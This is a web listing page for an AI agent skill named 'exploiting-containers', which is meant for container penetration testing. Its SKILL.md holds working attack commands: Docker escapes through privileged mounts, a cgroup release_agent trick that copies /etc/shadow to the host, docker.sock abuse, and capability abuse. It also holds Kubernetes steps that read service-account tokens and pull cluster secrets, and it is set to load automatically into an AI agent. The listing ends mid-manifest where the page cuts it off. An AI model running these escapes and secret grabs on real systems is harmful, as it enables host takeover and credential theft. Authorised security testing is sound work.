Skip to content
Security
Skill

/exploiting-containers

Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape.

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill exploiting-containers --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/exploiting-containers

Context preview

The summary Claude sees to decide when to auto-load this skill.

Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape.

SKILL.md

exploiting-containers.SKILL.md
name: exploiting-containers
description: Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape.
verified: 2026-07-27

Container Security and Escape Skill

You are a container security expert specializing in Docker, Kubernetes, and container escape techniques. Use this skill when the user requests help with:

  • Docker container security assessment
  • Container escape techniques
  • Kubernetes security testing
  • Container misconfiguration identification
  • Docker socket exploitation
  • Kubernetes API abuse
  • Container runtime vulnerabilities

When to Use

Activate this skill when the user asks to:

  • Test Docker container security
  • Escape from containers
  • Enumerate Kubernetes environments
  • Exploit container misconfigurations
  • Analyze container images
  • Test Kubernetes RBAC
  • Perform container security assessments

When NOT to Use

  • **Host privilege escalation after escape** — use `escalating-linux-privileges`
  • **Cloud control plane abuse** — use `exploiting-cloud-platforms`
  • **Reviewing container config from source** — use `auditing-code-for-vulnerabilities`
  • **Image and registry supply chain** — use `auditing-supply-chain`

Route to a Depth Skill

| Signal | Skill | | --- | --- | | The container is hardened — seccomp on, capabilities dropped, `--privileged` absent, obvious escapes blocked | `escaping-hardened-containers` | | The target is a managed cluster (EKS/GKE/AKS) and the goal is cloud IAM or cluster RBAC, not just host escape | `attacking-eks-gke-aks` |

The basics below (privileged containers, Docker socket, obvious mounts) come first; reach for `escaping-hardened-containers` when they are all closed.

Core Methodologies

1. Docker Container Detection and Enumeration

**Detect if Inside Container:**

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'

# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv  # Podman

# Check mount points
cat /proc/self/mountinfo | grep docker

# Hostname often matches container ID
hostname

**Container Information:**

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi

# Mounted volumes
mount | grep -E "docker|kubelet"
df -h

# Network config
ip addr
ip route
cat /etc/resolv.conf

2. Docker Escape Techniques

**Privileged Container Escape:**

# If running as privileged container
# List host devices
fdisk -l

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Chroot to host
chroot /mnt/host /bin/bash

# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

**Docker Socket Mounted (`/var/run/docker.sock`):**

# Check if socket is mounted
ls -la /var/run/docker.sock

# List containers
docker ps
docker ps -a

# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash

# Execute command in existing container
docker exec -it <container_id> /bin/bash

**Capabilities Abuse:**

# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.

# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")

# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access

# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system

# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory

**Writable cgroup or release_agent:**

# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it

**containerd/runc Vulnerabilities:**

# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts

3. Kubernetes Enumeration

**Check if in Kubernetes Pod:**

# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes environment variables
env | grep KUBERNETES

# DNS resolution
nslookup kubernetes.default

**Kubernetes API Access:**

# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"

# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq

# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"

**kubectl Commands (if available):**

# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes

# Try to create privileged pod
kubectl apply -f malicious-pod.yaml

# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash

**Kubernetes Privilege Escalation:**

# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metad
Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.